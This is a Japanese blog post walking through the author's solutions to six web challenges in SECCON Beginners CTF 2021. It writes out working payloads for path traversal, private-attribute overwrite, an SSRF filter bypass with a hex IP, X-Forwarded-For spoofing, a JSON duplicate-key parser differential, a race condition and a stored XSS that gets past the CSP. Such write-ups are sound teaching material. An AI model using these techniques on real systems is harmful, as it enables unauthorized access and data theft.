よーでんのブログ

One for All,All for わんわんお!

SECCON Beginners CTF 2021

SECCON Beginners CTF 2021 Web writeup

3331点で22/943位!
Web全部解けたのでwriteup書いていきます。

osoba (51pt 629solve)

美味しいお蕎麦を食べたいですね。フラグはサーバの /flag にあります!
[url]

f:id:y0d3n:20210523144544p:plain
osoba

「あたたかいお蕎麦の食べ方」の詳細を見てみる

f:id:y0d3n:20210523144637p:plain
?page=public/wip.html

?page=public/wip.htmlにアクセスし、エラーが返ってきた。
「フラグはサーバの /flag にあります!」と書いてあるので、page=/flagにしてみる

f:id:y0d3n:20210523144818p:plain
flag

ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}

おみそしる おいし(い) けれども つくるの たいへん

Werewolf (73pt 301solve)

I wish I could play as a werewolf...
[url]

f:id:y0d3n:20210523145215p:plain
Werewolf

名前と好きな色のフォーム。よしなに送ってみる。

f:id:y0d3n:20210523145315p:plain
PSYCHIC

名前と職業(好きな色になる)を言い渡される。人狼かな?

配布ファイルを見てみる。

:
class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
        # :-)
        # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])

    @property
    def role(self):
        return self.__role

    # :-)
    # @role.setter
    # def role(self, role):
    #     self.__role = role
:
def index():
    if request.method == 'GET':
        return render_template('index.html')

    if request.method == 'POST':
        player = Player()

        for k, v in request.form.items():
            player.__dict__[k] = v

        return render_template('result.html',
            name=player.name,
            color=player.color,
            role=player.role,
            flag=app.FLAG if player.role == 'WEREWOLF' else ''
        )

職業はランダムに決まるらしく、WEREWOLFだとflagがでるっぽい。
しかし、WEREWOLFはコメントアウトされていてこのままだとWEREWOLFにはなれない。

index関数に注目してみる。リクエストしたアイテムがplayerのdictに代入されている。

リクエストをのぞいてみる。

POST / HTTP/1.1
:

name=yoden&color=red

name=yodenがあることでplayer.name='yoden'になる。
ということはplayer.__role='WEREWOLF'にするには__role=WEREWOLFとすればいいのだろうか。

POST / HTTP/1.1
:

name=yoden&color=red&__role=WEREWOLF

自信満々にリクエストを送ったものの、WEREWOLFにはなれなかった。

いろいろ調べてみると、__roleはプライベートでself.__roleみたいな感じじゃないとアクセスできないらしい。
python private 上書きみたいな感じでググると、player._Player__roleでアクセスできるという記事を発見。

POST / HTTP/1.1
:

name=yoden&color=red&_Player__role=WEREWOLF

f:id:y0d3n:20210523150719p:plain
flag

ctf4b{there_are_so_many_hackers_among_us}

check_url (104pt 213solve)

Have you ever used curl ?
[url]

f:id:y0d3n:20210523150913p:plain
check_url

like this!の部分をクリックすると、example.comが表示される。

f:id:y0d3n:20210523150934p:plain
example

ソースを見ると、指定したurlにcurlするっぽい。

<!-- HTML Template -->
          <?php
            error_reporting(0);
            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";
              echo "********************FLAG********************";
            }else{
              echo "Here, take this<br>";
              $url = $_GET["url"];
              if ($url !== "https://www.example.com"){
                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
              }
              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");
              }
              echo "URL: ".$url."<br>";
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
              curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
              echo "<iframe srcdoc='";
              curl_exec($ch);
              echo "' width='750' height='500'></iframe>";
              curl_close($ch);
            }
          ?>
<!-- HTML Template -->

$_SERVER["REMOTE_ADDR"]"127.0.0.1"だとflagがでるらしい
単純に提出すると、.が👻に書き換えられてしまう。

f:id:y0d3n:20210523151359p:plain
127.0.0.1

どうにかしてlocalhostにアクセスさせたい。
昔読んだ記事をもとに試してみる。

qiita.com

f:id:y0d3n:20210523151747p:plain
017700000001

017700000001だとBad Requestになったが、0x7F000001で行けた。

f:id:y0d3n:20210523151839p:plain
flag

ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}

ssssrf is server side super sanitized request forgery

json (117pt 191solve)

外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
[url]

f:id:y0d3n:20210523152107p:plain
json

「ローカルネットワークしかだめ」といわれる。X-Forwarded-Forを試す。

GET / HTTP/1.1
:
X-Forwarded-For: 192.168.111.1

f:id:y0d3n:20210523152303p:plain
internal

内部ページが表示される。
select itemsubmitボタンがある。htmlを読みながらリクエストを作成

POST / HTTP/1.1
:
X-Forwarded-For: 192.168.111.1
Content-Length: 8

{"id":0}

f:id:y0d3n:20210523152542p:plain
0

idに応じた返事が返ってくる。

機能は把握できたので、配布ファイルを読んでみる。

// bff main.go
:
        // parse json
        var info Info
        if err := json.Unmarshal(body, &info); err != nil {
            c.JSON(400, gin.H{"error": "Invalid parameter."})
            return
        }
:
        if info.ID == 2 {
            c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
            return
        }

bffはjson.Unmarshalしてinfo.ID == 2だと400のエラーを返す。

// api main.go
:
        id, err := jsonparser.GetInt(body, "id")
        if err != nil {
            c.String(400, "Failed to parse json")
            return
        }
        if id == 2 {
            // Flag!!!
            flag := os.Getenv("FLAG")
            c.String(200, flag)
            return
        }

apijsonparser.GetIntしてid == 2だとflagを返す。

bffとapijsonのパース方法が違うのがポイント。 以下のように、同じ項目が複数あるjsonをパースしてみる

{
  "id":2,
  "id":1
}

json.Unmarshalではinfo.ID == 1、(!=2なのでエラーを返さない)
jsonparser.GetIntではid == 2 (==2なのでflagを返す)

というようになる。

f:id:y0d3n:20210523153337p:plain
flag

ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}

json is very useful but sometimes it bites back

cant_use_db (113pt 197solve)

Can't use DB.
I have so little money that I can't even buy the ingredients for ramen.
🍜
[url]

f:id:y0d3n:20210523153556p:plain
cant use db

Noodlesを2個、Soupを1個買うとflagが手に入るっぽい。
しかし、所持金がたりないので買えない。

Noodleを購入する際のコードを読んでみる。

@app.route("/buy_noodles", methods=["POST"])
def buy_noodles():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 10000:
        noodles += 1
        open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 10000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸$10000"
    return "ERROR: INSUFFICIENT FUNDS"

noodlesを追加 => time.sleep(random.uniform(-0.2, 0.2) + 1.0) => balanceをマイナス
という感じ。time.sleepしてる間に購入のリクエストを送ることができればbalanceが惹かれる前に次の買い物ができそう。

burpでInterceptをオンにしてNoodlesを2回とSoupを1回クリックしておき、Interceptをオフにすることで3つのリクエストが一気に送信され、Noodlesを2個とSoupを1個購入できる。

f:id:y0d3n:20210523154537p:plain
flag

ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}

ramen is an essential dish for hacking

magic (404pt 25solve)

トリックを見破れますか?
[url]

f:id:y0d3n:20210523154830p:plain
magic

login画面、よしなにregisterしてログインする。(文字数制限が割と厳しい)

f:id:y0d3n:20210523155510p:plain
sss

copy magiclink => ログインを省略できるリンクが手にはいる
this page? => adminにバグを報告できる
memo => メモを保存できる。(<s>sss</s>でHTMLとして処理される)

たぶん、memoにstored XSSを仕込んだうえでmagiclinkをadminに提出することでよしなにするんだろうという予想が立つ。

まずはalertを目指す。

<script>alert(1)</script>を入力してみる

magic.quals.beginners.seccon.jp/:59 Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' ". Either the 'unsafe-inline' keyword, a hash ('sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='), or a nonce ('nonce-...') is required to enable inline execution.

cspのscript-src 'self'にはじかれる。「csp self バイパス」等で調べるとjsonpとかのパターンがでてくる。

レスポンスを自由に操作できるページがないか探していると、magiclinkの挙動が丁度良かった。

[url]/magic?token=3e6db118-188b-49b0-b7b1-31c43999f350 => ログインされる
[url]/magic?token=hoge => hoge is invalid token.といわれる。

[url]/magic?token=alert(1);//のようにすれば

alert(1);// is invalid token.

となり、alert(1);になる。
memoに[url]/magic?token=alert(1);//を読み込むよう書き込む。

レスポンスにトークンが埋め込まれる際、escapeHTML関数によってHTMLエスケープされるため、token内に%<>"'を含まないペイロードを組み立てる必要がある

<script src="[url]/magic?token=alert(1);//"></script>

f:id:y0d3n:20210523160549p:plain
alert(1)

CSPがバイパスできた。
後はやるだけなので、クローラのソースを読んでflagがどこにあるか見てみる

// type FLAG in memo field
await page.type('input[name="text"]', FLAG);
await page.click("h1");

アクセスした際、memoの入力欄にflagが入力された状態になるっぽい。
saveボタンをクリックさせればflagが手に入りそうだと考える。

<script src=./magic?token=saveMemo.click();//></script>

(これをやるとブラウザで開いたときに無限ループになるのでburp等を準備してからやるのがおすすめ)

自分のmagiclinkを提出してみるも、特に何も書き込まれない。
すこし試すと、memoの入力欄に文字が入力されるのはhtmlの最後に読み込まれるstatic/index.jsの効果であり、XSSが発火する時点では入力欄が空だったことが分かった。
ページが読み込まれてから実行されるように書く必要がある。

<script src=./magic?token=window.onload=function(){saveMemo.click()};//></script>

magiclinkを提出すれば、flagがメモに書き込まれる。

f:id:y0d3n:20210523162534p:plain
flag

ctf4b{w0w_y0ur_skil1ful_3xploi7_c0de_1s_lik3_4_ma6ic_7rick}

wow your skillful exploit code is like a magic trick